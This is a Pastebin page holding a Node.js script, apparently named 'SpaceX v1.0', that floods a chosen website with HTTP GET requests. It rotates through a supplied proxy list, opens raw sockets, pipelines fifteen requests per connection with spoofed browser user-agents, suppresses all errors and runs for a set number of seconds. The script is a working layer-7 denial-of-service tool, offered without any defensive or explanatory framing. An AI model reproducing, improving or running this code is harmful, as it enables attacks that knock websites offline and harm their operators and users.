Advertisement
Guest User

Untitled

a guest
Aug 18th, 2019
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.64 KB | None | 0 0
  1. //Made By Serpico | SpaceX v1.0
  2. const fs = require('fs');
  3. const url = require('url');
  4. const net = require('net');
  5. var target = process.argv[2];
  6. const proxies = fs.readFileSync(process.argv[3], 'utf-8').replace(/\r/g, '').split('\n');
  7. var theproxy = 0;
  8. var parsed = url.parse(target);
  9. var proxy = proxies[theproxy];
  10.  
  11. process.on('uncaughtException', (err) => {});
  12. process.on('unhandledRejection', (err) => {});
  13.  
  14. const UAs = [
  15. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36",
  16. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247",
  17. "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko",
  18. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36",
  19. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36",
  20. "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko",
  21. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36",
  22. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36",
  23. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36",
  24. "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
  25. ];
  26.  
  27. setTimeout(() => {
  28. process.exit(1);
  29. }, process.argv[4] * 1000);
  30.  
  31. setInterval(function() {
  32. theproxy++;
  33. if (theproxy == proxies.length - 1) {
  34. theproxy = 0;
  35. }
  36. proxy = proxies[theproxy];
  37. if (proxy && proxy.length > 5) {
  38. proxy = proxy.split(':');
  39. } else {
  40. return false;
  41. }
  42. var beiza = new net.Socket();
  43. beiza.setTimeout(69696);
  44. beiza.connect(proxy[1], proxy[0], function() {
  45. for (var i = 0; i < 15; i++) {
  46. beiza.write('GET ' + target + ' HTTP/1.1\r\nHost: ' + parsed.host + '\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\r\nuser-agent: ' + UAs[Math.floor(Math.random() * UAs.length)] + '\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n');
  47. }
  48. });
  49.  
  50. beiza.on('data', function() {
  51. setTimeout(function() {
  52. beiza.destroy();
  53. return delete beiza;
  54. }, 5000);
  55. })
  56. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement